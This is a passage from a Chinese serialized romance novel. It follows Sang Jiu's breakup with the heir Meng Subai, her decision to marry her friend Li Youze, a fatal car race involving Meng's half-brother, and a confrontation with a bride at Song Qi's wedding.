也许是想投入母亲的怀抱吧。 “泱泱,你只要答应我一件事情就好,要比从前更爱自己,好好吃饭,好好睡觉,好好……活下去,要让我知道,你过得很好,去做任何你想做的事情,工作室你可以继续推进,有任何需要,可以跟我说……如果……觉得不方便,也可以直接找宋祁,他虽然不是什么正人君子,但对朋友还算讲义气。” “好。”桑酒含着泪应声。 他不知道,他这个要求,看似很简单,却很难做到。 她不知道自己要怎样,在习惯了他的陪伴后,去一个人好好生活。 “还有……”他话一停,似在下定什么决心,呼吸沉重,“万一……一个人走不下去了,就跟他……结婚,生子,可以包容他,但不要纵容他,也不要……不要太爱他,答应我,好好爱自己就行。” 桑酒牙齿咬着手背,几乎咬出凶狠的牙印来,可完全感觉不到疼痛,只有眼泪不停从眼角汹涌而出。 “你会走出来的,对吗?”孟苏白再次跟她确认。 “当然,”桑酒半开玩笑似的,“我已经练成了无坚不摧,没有什么能拦得到我。” “好。” 又是一阵沉默,只能听到彼此的呼吸声,犹如在耳边。 他们没有说分手,因为从来就没有公开过的关系,到此也该结束了。 到今晚,到这通电话挂断。 即便手机已经被握得发烫,即便已经不知道该说些什么才能安抚对方,他们还是不愿意挂断电话,就这样贪婪地听着彼此的呼吸,只希望时间过得慢一点,再慢一点,就这样到永远也足够了。 可如今他身上承载的,早已不是他自己。 梁婉盈派了孟嘉欣过来,请他过去商讨大哥追悼会一事。 作为专业的心理学博士,孟嘉欣仅通过一个侧影,就看出他的肝肠寸断,那是和得知大哥出事不一样的悲痛,更像是割舍掉性命要去孤注一掷的决绝。 要么置之死地。 要么坠入深渊。 孟苏白余光瞧见她,只是颔了颔首,并未动,贴在耳旁的手机依旧。 孟嘉欣明白,他大概还有重要的话,要和对面的人说,便轻声退了出去,关上厚重大门。 桑酒听到门关闭的声音,知道他此刻应该是最忙碌的时候,明白是时候道别了。 “替我给大哥上三炷香,很抱歉,我不能亲自去吊唁他。”她的声音沙哑得不行,“但我会去寺庙帮他祈福的,祈福下辈子,他能有个健康的身体,幸福的家庭。” “好。”孟苏白点头。 “还有,大哥送我的那个玉镯……云叔告诉我,那个玉镯,意义非凡。” 那是他母亲留给未来儿媳的,孟彦廷一直帮他保管着。 “你收着,”孟苏白说,“在我心里,也不会有其他人了。” 桑酒几乎又要哭出声来,她将脸埋在被褥,不让自己颤抖的声音发出,过了好一会儿,被褥浸湿,她才再次开口:“可是……” “送出去的东西,一定要收回吗?”孟苏白却直接打断了她的话,颤抖的手抚着腕间佛串,嗓音发紧,“我想留下它,当个念想,也不行吗?” 桑酒终于控制不住,再次潸然泪下。 哽咽嗯了一声。 就让这场看似坦然的分手,留下最后一点私心吧。 “孟苏白,再见。” 她知道,如果自己不主动切断,他永远不舍说再见两字。 孟苏白闭眼,发烫的屏幕贴着脸颊,像是她的吻别,可她低泣的声音传入耳,他脑海浮现的,是四年前第一次见她的情形,她哭得那样厉害,极力隐忍的模样令人心疼,仿佛全世界都有罪,可如今最有罪的人,是他。 他不该招惹她的,她本可以一个人,活的精彩,活的自在。 但现在,究竟要怎样才能让她所受的伤痛,少一点,再少一点,哪怕所有罪孽都落在他身上,哪怕付出性命,他都希望她好好的。 “再见,桑酒。” 孟苏白很想再见她一面,可他不能。 原来分别都是这样猝不及防的,再深的情,也抵不过这样浅薄的缘分—— 作者有话说:写完身心受到巨大创伤,必须出去吃一顿烧烤犒劳一下自己[爆哭][爆哭] 第68章 孟彦廷的追悼会在港岛体育馆举办, 那日,港城政商名流悉数到场,孟氏家族所有人也全都被请回来, 无论在国内外。 这场葬礼办得低调, 没有邀请媒体, 各大新闻头条铺天盖地的, 也只有一张照片——孟家新的家主孟苏白一身黑色西装, 手捧孟彦廷遗像,神色庄严凝重,身边的梁婉盈亦是一袭黑衣, 难掩悲恸忧伤, 扶着腿脚不便的孟老爷子。 桑酒抬手,夺过李佑泽手里的手机, 关掉屏幕, 扣在桌面。 天台的风,有些大,她的怒气也被勾起了不少。 “我刚说的话,你究竟听到没有……” “那是孟先生!”李佑泽目光还在手机上, 一脸惊诧, “上面说,他是孟家家主?是港城第一豪门那个孟家?这么厉害的一个大人物,桑桑你怎么说不合作就不合作了呢?难怪最近没见到他人, 原来人家里出了这么大事……” “李!佑!泽!”桑酒有些按捺不住怒火了, 连名带姓喊他。 李佑泽悻悻缩回手, 回到两人刚刚聊的话题。 “桑桑,你知道单独经营废钢厂需要多少资金周转吗?我倒是想当老板呀,但我兜里那点钱, 都不够压一批货。 ” “钱我来出。” “什么?”李佑泽震惊了一下,“怎么能让你出呢,桑桑……” “我出也是有要求的。” 桑酒说得很认真,李佑泽不禁也收起了吊儿郎当的态度:“什么要求?” “第一,重大事件都要经过我的同意,第二,不许勾搭你那些狐朋狗友。” “没问题!”李佑泽其实最近跑了几个订单后,也体会到正经做生意赚钱的成就感了,早就想单干一番了,奈何他手里没有雄厚的资金,而且说实话,没有桑酒帮他掌舵,他还真没那个胆量去当真正的老板,“但是桑桑,你哪来那么多钱?” “这件事情你不用管,反正不用你操心,我还有第三个要求。”桑酒可以说是面无表情的甲方爸爸。 李佑泽点头哈腰给她续酒:“桑老板请指示。” “我们结婚吧。” “……” 李佑泽愣了好半晌,才回过神,不可思议问她:“你说什么?结婚?” “对,结婚,”桑酒心无波澜,声音温柔又坚定,“我年纪不小了,马上就二十五岁了,你看,跟我们同年的,娃都会打酱油了,我却连个正经男人都没有,我妈跟你妈不都在催婚,我听得耳朵都起茧了,也想了很久,我这辈子也不可能喜欢哪个男人,倒不如找个知根知底的男人嫁了,也就只有你。” “你这是要从假扮情侣,到假扮夫妻啊?” “不是假扮,”桑酒垂着眸,唇畔勾起一抹自嘲的笑容,“是真结婚,你有意见吗?” 李佑泽当然毫无意见。 他本就一直喜欢桑酒,只是分手后自知配不上她,才甘愿跟她假扮情侣罢了- 俞三禾得知两人要结婚后,却一整个震惊了。 她马不停蹄从遂溪赶回来,心情焦虑又复杂。 “你跟你的国王先生,当真分手了?” “嗯。” “为什么呢?”俞三禾不明白,“明明前段时间,你们还如胶似漆来着。” 桑酒脸上敷着面膜,眼尾一片湿润,也不知道是不是新买的面膜刺激到肌肤了,她躺到俞三禾身边,闭上眼。 “不是你说的吗,不要动真心,我担心沦陷太深,所以及时止损。” 俞三禾:“……话是这么说没错,可会不会太快了些?这才多少天……” “十五天。” “什么?” “我们在一起,刚好半个月。” “算了,分手就分手吧,”俞三禾听着这话,心里五味杂陈,“那为什么突然要把自己嫁了?就因为佑子他妈生病了?” 桑酒嗯了一声,语气沉沉:“我想过了,这件事情,从头到尾本就是我一个人的错,佑子也是无辜的,总不能我需要他帮我挡桃花时,就拉着他演戏,不需要的时候就一脚踹开,不管他家人感受,从前我是觉得,有我这个女朋友身份在,他父母会放心,他自己也会收心,可现在,他妈妈生病了,她唯一的愿望就是看到我们结婚,其实想想,的确是我耽误了佑子,如果不是我说要假扮情侣,也许他单身能遇到喜欢的女孩,也许……他们现在已经结婚生子,他妈妈也不会带着遗憾走……” 俞三禾始终不赞同:“结婚不是谈恋爱,不是你想结就结,想离就离……你能不能不要只想着别人,也多想想自己好不好?为什么要把自己逼得这么死?” 桑酒沉默了两秒:“我没有逼自己,我是在拯救自己。” 也许结了婚,有了家庭,有了新的生活,她更容易忘记他。 “你真的是疯了!” 平静的疯子。 桑酒不置可否。 也只有疯一点,她才能感觉到自己还活着。 俞三禾又问:“那你们打算,什么时候结婚啊?” “元旦吧,不过这两天就打算告诉他妈妈。” 俞三禾算了一下,不禁嘟囔一句:“在宋祁后面啊?” “嗯。” 宋祁是在十二月下旬,听说那天正好是新娘的生日,也算是一段传奇佳话了。 桑酒本来想速战速决在国庆节办了的,她担心李佑泽妈妈撑不到那天,但这段时间,也不知为什么,李佑泽工厂的订单简直爆满,他一个人几乎忙得脚不沾地,还雇了两个小弟,别说拍婚纱照了,就是跟她吃个饭约个会的时间都没有。 这让打算一心一意、真心实意跟他谈场恋爱的桑酒也松了一口气了,虽然大言不惭说了那些话,但真要以未婚夫妻的方式相处,她心底还是有些抗拒的。 还记得前些日子,李佑泽过来酒馆搬货,趁着无人时想亲她一下,都被她下意识躲了过去。 当时李佑泽愣了一下,表情似乎有些疑惑,又有些伤心委屈。 桑酒只能指了指他的脸,说:“你……出汗了。” 好在后来,李佑泽又被工厂里的电话催了回去,再后来,她工作室的事情也忙,两人算是真正为各自事业奋斗,聚在一起时间并不多。 对于李佑泽,桑酒的愧疚又深了一层,却也只能用其他的方式弥补。 为了让他妈妈好受一点,她让俞三禾把人带到省人民医院治疗,用最好的药吊着,只希望她能好好度过这段时日。 “说起来,你怎么突然这么有钱了?不会是孟先生给你的分手费吧?” 俞三禾前段时间闲着,刚好回去跑腿,正所谓,她出力,桑酒出钱。 桑酒也没有瞒她:“算是吧。” “桑桑,别逗我了,你根本不是那种人。” “哪种人?谁要跟钱过不去?本来就是露水情缘,不拿钱是想证明什么?真爱吗?” 俞三禾觉得这话有理。 灯一关,眼前一片漆黑,两人静默无言了许久。 就在桑酒以为她睡着时,俞三禾忽然幽幽说了一句。 “桑桑,你有没有发觉阶级不同的人,真的就是两个世界,说不见面就真的见不到面了,他们好像彻底从我们生活里抽离了,好像……从来没有来过一样。” 桑酒想说,世上哪有那么多机缘巧合,如果不是他们主动,她们这样平凡的人,连那个世界的边角都摸不着。 也只有在睡着后,入了梦,才能肆无忌惮,放肆想念。 可她最近失眠症又加重了,开了双倍的安眠药才能勉强入睡,入睡后又是不停地做梦,梦里像是按照她潜意识里的思念,一一闪现她和孟苏白的过往,有时候在船上,有时候在车上,有时候在床上,那是她最惬意放松的时候,如果有人睡在一旁,醒来看她,会发现她嘴角噙着淡淡的笑。 桑酒睡眠时间越来越长,因为好像只有梦里,才不用面对现实。 可今晚的梦,好像不太平。 她刚进入梦境,便意识到这里没有孟苏白的身影,昏暗不堪的世界里,雾色朦胧,硝烟弥漫,仿佛人间炼狱一般,死气沉沉,任凭她如何奔跑、寻找,也看不见孟苏白。 可桑酒就是能强烈感觉到,他来过这儿! 他来过这儿! 像是做了一场噩梦一般,她在梦里紧绷着身子挣扎,呐喊,却只有绝望与恐怖从骨头里钻出。 与此同时,遥远的法国西北部,勒芒市。 夜色如墨,内燃机的嘶吼声撕裂了盘山公路的夜,两道刺眼的光柱在弯道处疯狂纠缠,轮胎摩擦地面的尖啸几乎要刺破耳膜,领先的红色赛车被身后的黑色赛车紧咬不放,车身剧烈甩尾,一次次险险擦过护栏。 这是一场两人生死决战。 孟栢豪从未如此后怕过,面对即将来临的致命盲弯,他下意识踩下刹车,车身刚稳,听见身后油门疯踩的轰鸣声。 他猛地回头,瞳孔骤缩。 黑色跑车像脱缰的野马,失控般狠狠撞了过来,两辆车齐齐飞向弯道外侧的山体,车头瞬间凹陷变形,零件飞溅,火光也骤然腾起。 时间仿佛在这一刻静止了。 剧痛从四肢百骸炸开,意识被黑暗吞噬的最后一秒,孟栢豪意识到自己是真惹到一个疯子了! 可一切都已经没有转圜的余地了。 所有人都小看了那不问世事的孟三少,没想过他疯起来,连命都不要- 从森罗酒店签完合同出来,桑酒有些恍惚。 新提的Yu7还未跑满1000公里,不能开启辅助驾驶,她心绪不宁将车停在一旁,不断说服自己,稳定心神,不能出事。 晚秋的余晖温柔和煦,将她脸上的忧伤照得一览无余。 她似乎已经习惯一个人待在车子里,在旁人看不到的地方,任自己放空思绪。 虽然跟他保证过不再哭,也答应过他,会好好生活,好好吃饭,好好睡觉,难过的时候,找一个人陪伴。 可她还是不想任何人看到自己脆弱和低落的一面,又生怕他会突然出现在街头某个角落,发现她过得并没有表面那样潇洒,一切努力都白费。 她已经忍了半个月,不让自己去看有关他任何的消息,俞三禾跟桑月也知道她处在戒断期,只字不提,一切仿佛真如俞三禾说的那样,他彻底从她生命力消失。 可今天去了一趟森罗酒店,见了那位周董事长,桑酒才恍然清醒过来—— 他并未彻底从她生活退出。 他给她介绍的人脉依旧在,周梦岑本人也非常钟爱红酒,对她推荐的行政酒廊酒单很满意,直接签了长期合同,还在自己的私人红酒库又添加了几个新品。 桑酒当时是有些意外的,她以为对方即便看在孟苏白的面子,也只是客套完成一次试用合作,根本没想到能拿下长期签约。 那可是海城一顶一的五星级酒店,能拿下他们的行政酒廊的酒水订单,对她这样刚成立的小工作室而言,无疑是天降巨饼。 当然,桑酒心里十分清楚,如果没有孟苏白牵线,她根本连踏进那个门槛的机会都没有。 签合同前,女人看出她的受宠若惊和迟疑,拍了拍她肩膀,笑容温和:“桑小姐不用怀疑自己,我的确是看在孟总的面子,决定跟你签合同的,但那也是因为他跟我说过,桑小姐不仅仅在红酒方面是专家,而是各方面都很优秀,我也听行政经理说过,你跟他了解了酒店近些年的VIP客户喜好,足以看出,你对市场需求考察细致入微,不愧是孟总看人的眼光。” 那是时隔近半月,她再次从别人口中,听到他的名字,恍如隔世。 而仅仅是寥寥带过的几句话,她便克制不住心底的思念。 那种越是克制压抑的情绪,越会在无人瞧见的秘密空间里,疯长爆发。 尤其是这几天,桑酒也不知为何,她的心跳总是会莫名加速,尤其是想起他,便觉得心慌到窒息,又像是心痛到无法呼吸。 总归不是什么好的征兆,她甚至不敢细想。 回到酒馆,已是七点,正值国庆假期,生意爆火,门口的庭院都加了一排座位,于是她又多招了两个大学生兼职,给桑月减轻工作量。 掀开门帘,便见桑月正在给客人调新酒。 “姐,你看谁来啦!” 桑月一眼就看到她,欣然喊了一声,却发现她脸色有些苍白,心中不禁一紧,“你怎么了?” “没事。” 桑月对面的女人也转过身,朝她打招呼:“桑桑,好久不见啊!” 桑酒回过神,盯着她看了好一会儿,才记起:“阿箐……你什么时候回来了?” 像是应激反应一般,她看到外人,脸上就会自动浮起淡淡的笑容。 文箐热情招呼她过去:“昨天呀,这不,旅行结束回来第一时间,就是找你喝酒,我都等了你两个小时了~” “抱歉。”桑酒走过去,坐到文箐旁边的位置,让桑月新开一瓶雷司令,“为表歉意,这瓶酒,我请客。” “那怎么行。” “怎么不行?你是我们酒馆的贵人,请你喝酒是应该的,”桑酒熟练开瓶,“而且,我刚好想喝酒了。” 一旁的桑月知道姐姐最近心情不好,也没有拦着她,想着,也许醉一次,心情会好一点,起身去招待新进来的客人。 文箐也发现了桑酒的低落情绪,虽然两人仅有两面之缘,但眼前的姑娘与初次相见时的优雅从容判若两人,仿佛经历了什么创伤,明明是笑着,眼里却再无热烈的光。 “桑桑,你是……失恋了吗?” 文箐记得,她有男朋友,能让一个优秀的女人眼里失去光的,无非是爱情。 桑酒一怔,后又压下唇角:“没有,我们打算结婚了。” “哇塞!那要恭喜呀!” 本是喜事,可她看起来似乎并不开心,文箐恭喜完,也没敢冒昧多问。 桑酒的笑容也有几分勉强,转移了话题:“倒是你,不是说要住在邮轮上吗?怎么突然回来了?” 文箐抿了一口红酒,说:“旅行太久了,该回来开播了呀,再玩下去,我的粉丝都会忘了我。” 桑酒笑:“那你那位神秘男友呢?” 文箐在旅游途中偶尔也有直播,跟粉丝唠嗑日常,期间无意被人扒出身边有一位神秘富二代男友,后来她也大大方方承认,说在旅行途中认识的,相互有好感,就在一起了。 桑酒还挺喜欢她这种勇气与坦荡。 “他临时有事,去国外了,一时半会儿估计不会找我吧。”文箐表情有点沮丧。 “怎么了?”桑酒随口一问。 “说是好兄弟发生车祸,在ICU抢救,鬼知道真假,这都多少天了,也没给我信息,兴许是分手的借口吧,”文箐冷笑一声,“果然啊,旅途上的艳遇,不可靠。” 桑酒眼皮忽地一跳:“也许是……真有事呢?” “谁知道呢。”文箐谈过不少男朋友,对这些早已看淡,转过身,“不聊男人了,桑老板,需要我拍个照,帮你打卡推荐一下吗?” “求之不得。” “那干脆合照一张呗,”文箐掏出手机,搂过桑酒,“酒馆老板这么漂亮,我的粉丝肯定会更迫不及待过来打卡!” 免费的推广,不要白不要,桑酒自然点头。 虽然此时的她,根本笑不出来。 但不愧是拥有数十万粉丝的女主播,随手一拍,就是大片—— 照片里的桑酒笑容浅淡,微微抿唇,背后是本店酒单推荐海报,依旧停留在“离别”的主题,带着淡淡的忧伤感,让整个画面都充满了故事感。 而搂着她的文箐却是截然不同的笑,半眯着眼,甜美而阳光,像一缕光照进灰暗。 下一秒,这张合照便被发送到文箐的社交账号。 「好久不見,有没有宝宝想做我们的酒搭子呀~PS:老板美呆了!可惜要结婚啦~委屈哭\」—— 作者有话说:桑桑:答应过你,我会好好的。 第69章 岁至大雪, 冷风簌簌。 桑酒掀开门帘走出酒馆时,便感觉到一股凝结冷气袭来,她下意识搓了搓掌心哈了一口气, 抬眼望着冷郁的天空。 入冬了, 是不是很快就要下雪了? 海城的雪并没什么可值得期待的, 但总令人向往, 哪怕是一场小雪。 “桑老板, 今天好靓哦!” 时值下午六点,正是高峰期,桑酒站在酒馆门口发了好一会儿呆, 对面忽然跑过来一姑娘, 怀里抱着一束漂亮的紫色玫瑰,热情与她打招呼。 “谢谢。” 她好一会儿才认出, 是对面花店的员工。 “这是要外出约会?”那姑娘又问。 桑酒愣了一秒, 含笑点头。 “那这束花送您。”姑娘不由分说,将那束热烈鲜艳的玫瑰花塞到她怀里,“我们店铺今天正式开张,老板说了, 要随机挑选有缘人送花, 我看这束甜蜜薰衣草,与桑老板就挺搭的!” 她今日一身简约,浅色系香芋紫小香风短外套, 背了一个同色系的新包, 蓝色牛仔裤修长笔直微喇, 看起来优雅又酷爽,许久未修理的发,微微卷起几乎垂至腰际, 被冷风轻轻撩着。 怀里一大捧紫色玫瑰,浪漫迷人,淡淡的晕染效果,像夜晚的温柔梦境,又让人不禁想到可爱的星黛露。 “……谢谢。” 桑酒有些恍然,惊喜来得猝不及防,她还未来得及思考,李佑泽的车子已经在路边停下。 车窗降下,男人朝她招手。 “谢谢,明日我去你们店里看看,正好店里也要换新花了。”礼尚往来,平白无故得了这么大一束玫瑰,她自然也要表示支持的。 “好呀,欢迎桑老板光临。”小姑娘笑容甜甜。 桑酒与她挥了挥手,转身下了阶梯,朝李佑泽的车子走去。 抱着花单手拉开副驾驶门的那一刻,她忽然又回头看了眼对面的花店——酒馆之前的门面。 那是一栋写字楼来着,自从她搬到这边后,门面就被一家奶茶店接手,因为是旺铺,生意倒也不错,前几天却忽然就店铺转让了,改开了一家花店,装修也很快,门口摆满了玫瑰,香气扑鼻,在这一众美食商铺林立之中,倒显得格格不入。 桑酒突然想起,她已经很久没有再收到那束花了。 维水泱的装修进度似乎也被按下了暂停键,有一次她去那边跟一个老板谈合作,车子经过,她让师傅放慢速度看了一会儿,只觉门口冷淡凉薄,像一座被遗弃的城堡。 滴滴师傅经常在附近跑滴,说这家会所大概不会再开了,因为很久没有人出入了。 她也经过寰曜集团的大楼,远远瞥了一眼,依旧灯火通明,群英荟萃。 一切都好像在悄然改变,一切又好像没有变化。 半个月前,她无意听到桑月跟俞三禾偷偷聊起孟家的风云巨变,提到他那位同父异母的弟弟死于一场赛车比赛,提到孟苏白也没在国内出现过,提到如今寰曜集团的总裁是代理总裁。 他不再出现在她的世界,也不再出现在任何地方。 网上一搜,也没有任何关于他的新闻。 桑酒想起一个多月之前那场噩梦,总觉得心底空落落的,却不知道为什么。 目光微垂,无意扫到花店门口一辆黑色轿车,奔驰GLA。 看不到车牌号,但总觉得似曾相识。 桑酒也没有多想,收回目光,弯腰钻进副驾驶。 车门一关,便立马与外面的冷空气隔绝。 “不冷吗?”李佑泽觉得她穿得单薄,问了一句。 “还好吧,温度降得太快了。” 她中午出门时,还是阳光明媚的模样,在酒馆忙碌了一下午出来,就变了天。 李佑泽启动车子:“那等会穿我的外套,别着凉了。” 桑酒一边系安全带,一边哦了一声。 “这花哪儿来的?还挺漂亮的。”李佑泽一眼看到她怀里耀眼的紫色玫瑰。 “对面花店开张,随机抽取幸运路人送的。” “我们桑桑这运气,也是没谁了。”李佑泽的笑容有些无奈。 “怎么了?”桑酒拨弄着玫瑰花瓣,有些爱不释手,但也听出了他的无奈。 “没什么。”车子转了个弯,驶入大道,“时间还早,要不我们先去买衣服?” “嗯。”桑酒无所谓。 因为明天李佑泽要出差去邻市谈一笔生意,临时抽空过来,要她陪他去买两套衣服,倒也在女朋友的职责范围内,桑酒没理由拒绝- 两人驱车到了最近的商业城,找了一家品牌西装店。 桑酒的工作群里突然来了信息,她便坐在沙发上低头回复。 李佑泽自顾拿了几套西装在手里,让她挑选。 桑酒心不在焉抬头瞄了一眼,指了两套浅色系的。 他最近风吹日晒的,本就偏小麦色的肌肤深了几分,不适合再穿深色系的外套,不过皮肤暗一点,倒显得人更加成熟些。 李佑泽去试穿时,桑酒就沉浸在工作里,列表忽然又跳进来一条信息,竟是许久未露面的宋祁。 「桑老板,明天的婚礼,能否赏个脸?」 还附上了森罗酒店的宴会厅位置,和专门留给她的座位。 其实作为婚宴酒单主策划人,她理应到场的,但桑酒担心会碰见孟苏白,为了避免尴尬,她已经提前跟宋祁说了这天周末,自己会很忙,无法亲自到场,派了工作室其他员工过去现场监工,包括今天的酒水和物料进场都是让别人对接的。 然而眼下宋祁又来询问,也不知是出于客套还是什么原因,桑酒也懒得去细究,再次委婉拒绝。 「抱歉,最近酒馆生意忙,真走不开。」 「新婚快乐,宋先生。」 “桑桑,你看这套怎么样?”李佑泽换了西装从试衣间出来,精神也抖擞,看着更添了几分帅气利落。 有句话怎么说来着,事业有成是男人最好的医美。 李佑泽本就样貌还行,眼下西装革履,倒是更加人模人样起来。 桑酒撑着下巴,欣慰点头:“可以。” “领带你看下哪个颜色好?” “左边……青色的吧。” “那桑桑帮我系上看看吧。”李佑泽说完,走了过来,把领带递给她。 “我吗?”桑酒有片刻迟疑,指了指自己。 “对啊,我又没打过领带。”李佑泽理直气壮。 桑酒:“……” 巧了,她还真跟人学过。 一些画面猝不及防在脑海浮现,桑酒怔然了两秒,放下杂志,起身,从李佑泽手里接过领带。 “我试试。”她神色恍惚,下意识踮起脚尖,“低头。” 可李佑泽低头的一刹那,桑酒又猛然发觉,她并不需要踮脚。 李佑泽身高只有一米七八,她穿着高跟鞋也有一米七三了,身量跟他相差不大,所以抬手就能够得着他脖子。 不像那人。 她帮他系领带时,不但要踮起脚尖,还要他搂着腰站稳才行,身高差是一个原因,她打领结时,他时不时凑过来亲吻她打岔、用手在她腰肢间游走也是一个原因,常常教学教到一半,她就会被他吻到腿软,最后气极时,她会扯下领带,绑住他那双不老实的手,摁在墙上,反客为主。 “桑桑?”李佑泽伸手碰了碰她脸颊,“你怎么了,脸这么红?” 桑酒下意识后退了一步,心魂未定:“没什么,” 然后随意帮他打了个最简单的领结。 又看了一眼,点头肯定:“挺好的。” 买完衣服,李佑泽又带她去吃饭。 餐厅是提前订好的,情侣餐厅,李佑泽还特意提前准备了礼物——一束红玫瑰,和一副项链。 桑酒想起放在车上的那束薰衣草玫瑰,总算明白过来,他之前的无奈口气,不禁笑了。 “谢谢李老板费心了。”她欣然接过,搂在怀里。 李佑泽拆了礼盒,取出项链,就要给她戴上。 桑酒也未拒绝,端正坐好,露出脖颈,任他撩开长发。 真正的情侣、小夫妻,应该就是这样相处的。 她要慢慢习惯。 如今的李佑泽,已经被她调教得越来越成熟稳重,也越来越懂得浪漫,这应该是一件庆幸的事情。 她固然没有指望在一个男人这里获得爱情长期保障,但这样的日子,久了似乎也还行。 吃完饭,李佑泽又送她回了酒馆。 正是九点最繁忙的时间段,秋风瑟瑟。 桑酒披着李佑泽的外套下了车,因为有两大束花,李佑泽也下了车,手里捧着那束薰衣草玫瑰,桑酒怀里抱着的,是他送的那束红色玫瑰。 “这么多花,桑老板要怎么处理?”他打趣问。 “这束就放酒馆吧,”到了门口,桑酒脱下外套还他,接过那束薰衣草玫瑰,抬起手里的红玫瑰,“这个拿回家。” 李佑泽这才心满意足点头。 桑酒转身打算进店。 “桑桑。”李佑泽忽然叫住她。 桑酒转身,猝不及防撞进他怀里,随即,一个吻落下。 她下意识扭过头,唇贴着那束薰衣草玫瑰。 有些冰凉的感觉,带着淡淡的清香。 目光无神,不知望向何处。 “等我回来,我们就去拍婚纱照吧。”李佑泽忽然在她耳边说。 桑酒说话很慢:“好。” 李佑泽似乎顿了一下,放开她,看着她平静的脸,忽然问:“你怎么都不骂我了?” “什么?”桑酒愣了一下,很是不解。 李佑泽沉默了一会儿,摇头,低低说了一句:“没什么。” “我走了。” “一路顺风。” 桑酒看着他离去的身影,若有所思了两秒,转身准备回店。 无意看到对面那辆黑色轿车。 似乎也刚回来,车还未熄火- 翌日,宋祁大婚。 酒馆昨晚营业到很晚才打烊,桑酒和妹妹直接没有回家,宿在小阁楼,小阁楼没有药,桑酒又失眠到凌晨三四点才睡,一直睡到中午。 她下午约了俞三禾去美容院,但电话打过去,却一直是关机状态。 本就是为了陪俞三禾散心的,如今找不到人,桑酒便隐隐有些担忧,当即换了衣服,开车直奔牌馆,依旧不见踪影,又打了电话给牌馆的几个熟客,才知昨晚俞三禾早早就闭馆,一个人出去了,至于去了哪儿,没有人知道。 桑酒又去附近的会所、酒吧,甚至KV寻了一圈,所有她能想到俞三禾会买醉的地方,依旧一无所获。 回到酒馆,又遇见来喝酒的文箐,经验丰富的她给出分析:“一般失恋的女人,都会去两个人曾经最喜欢去的地方,或者一些对她而言有特别意义的地方。” 桑酒面色逐渐凝重,忽然就有些急躁起来,对自己的判定开始怀疑。 三禾真的放下宋祁了吗?每天笑嘻嘻仿若无事,就真的一点都不在意吗? 她想起自己这段时间,跟俞三禾又有什么区别呢?每天用工作麻痹自己,用男人转移情感,用消费来伪装自己,无非是想告诉所有人,她不在乎,她过得很好。 可这种逃避,犹如饮水,冷暖自知。 桑酒不敢想象,如果今天结婚的是孟苏白,她还能一如既往淡定自若吗? 也许做不到吧。 更别说,俞三禾跟了宋祁五年。 如果不爱,她完全可以离开这个冰冷的大城市,回到老家发展得更好。 曾经也有过那么几次,也许是他们吵架或者有什么分歧,俞三禾收拾东西回了老家,她是那种在哪里都可以吃得开的女人,上了牌桌她就是女王,根本不在乎在哪儿。 可后来不知道宋祁又用了什么方法,把她哄了回来。 自然不是钱。 三禾从来就不缺钱。 她那样大大咧咧的姑娘,何曾为一个男人,不顾一切回头? 所以,说什么分手也可以做朋友都是骗人的,那只是没有付出真心一方的托词,真正爱过的,是不可能坦然做朋友的。 桑酒没有再犹豫,当即给宋祁拨了电话过去,响了许久无人接听,最后是他一个助理接听的。 “您好,宋总现在在忙,方便的话您过来酒店,房间号1901。” 森罗酒店今日宾客如云,鎏金旋转门缓缓向两侧退开,门外是铺至车道尽头的红地毯,两侧花柱缀满粉嫩的玫瑰花,即便婚礼已将近尾声,身着高定礼服的侍者躬身而立,为桑酒带路。 宴会厅桑酒穿过迎宾厅的雕花拱门,抬头便可见一巨型LED屏循环播放着新人的旅行影像,当真是郎才女貌,只不过她无心观赏。 此时,已经过了敬酒环节,宾客陆续离去,以孟苏白的身份地位,必定也是走个过场就走了,不会逗留。 所以,应该是碰不到的。 驱逐繁杂的思绪,桑酒收回目光,跟着侍者踏进电梯,电梯关闭的最后一刹那,就听到门外传来一道恭维声。 “孟总,请留步。” 然后是男人轻嗯的一声:“刘总,许久不见。” 低沉的嗓音中掺了一丝不易察觉的温柔,心不在焉的,却莫名中和了他偏冷的音质。 桑酒猛然抬眸,门已紧闭,她连个身影都没瞧见,电梯逐渐上升,在某一层停下,而心脏那种失重窒息感犹在。 “桑小姐,这边请。”侍者将她带到一间休息室。 桑酒魂不守舍走了进去,还未回过神,就迎面而来被狠狠泼了一杯红酒。 “你就是那个一直缠着宋祁的女人?”女人身穿白色礼服,踩着十厘米的高跟鞋,趾高气扬站在厅内,手里攥着一个空酒杯,一脸嘲讽盯着她,“听说他为你花了不少钱,怎么,摇钱树要跑了,舍不得?还敢找上婚礼来?你们这类人,就这么贱?也不看看自己什么身份,逢场作戏而已,还真当他爱你啊?” 冰凉的酒液裹着浓郁的酒香,顺着下颚往下滴落,濡湿了胸前的风衣外套,几缕碎发黏在发红的脸颊上,狼狈得刺眼。 桑酒缓缓睁开眼,眼底没有半分慌乱,定了两秒,她抬手,用指尖拭去下巴的酒渍,随即抬眸看向女人,声音清冽如冰。 “张小姐,泼人之前,我奉劝您最好先查清楚,到底是谁缠着谁不放!” 三禾没有给人当三,她只是在宋祁结婚之前跟他谈了几年而已,他一没有正经女朋友二没有未婚妻,传出联姻后两人也说好一刀两断的,最后又是谁为了巴结孟苏白,频频向俞三禾示好的? 别人或许不清楚,桑酒却心里门清,只是一直没有戳破而已。 “你在质问我?”张欣雅顿时气打不过来,从茶几上又操起一杯酒,又要故伎重演。 这次桑酒没再隐忍,她直接上前,一把擒住了女人手腕,将人摁在墙上,眼眸半眯扫了一眼她脸上精致的妆容,语气也冰冷了几分。 “张小姐,我顾及你今日是新娘,不想你狼狈出去,但你也最好别惹我!” “你怎么敢的……”张欣雅气急败坏却又不敢再出声,她从未见过比自己还嚣张跋扈的女人,仅一个眼神就让她后怕。 “我怎么不敢?真闹大了,未必对你好,对你家族好,”桑酒的笑容有些疯狂,“你知道的,我们这类人天生光脚,不怕鱼死网破。” “呜呜呜——” 下一秒,被摁在墙上的女人泪如雨下,哭得那叫一个凄惨。 “你欺负人——” 桑酒第一次体会到什么叫吃软不吃硬,看着眼前哭得梨花带雨的姑娘,心中的怒火仿佛一瞬间就消散了,语气也不自觉跟着软了下来。 “别哭了。” “你抢我丈夫!欺负我!还不让我哭!” 桑酒顿觉头疼,也不知道这是哪家小千金,蠢笨得让人无措。 “我今天来,只是想问宋祁两句话,问完就走。”桑酒不想在她身上浪费时间,直明来意。 “问什么?问他爱不爱……”张欣雅话还没说完,身后的门却突然被人重力推开,传来一阵急促的脚步声。 “张欣雅!你……” 随风灌入的,是宋祁怒气冲冲的声音,下一秒,却被淹没在震惊中。 他那嚣张跋扈的未婚妻,此刻哭得跟只小白兔一样是什么情况? 不是说担心那谁受欺负,才急匆匆赶上来的么? 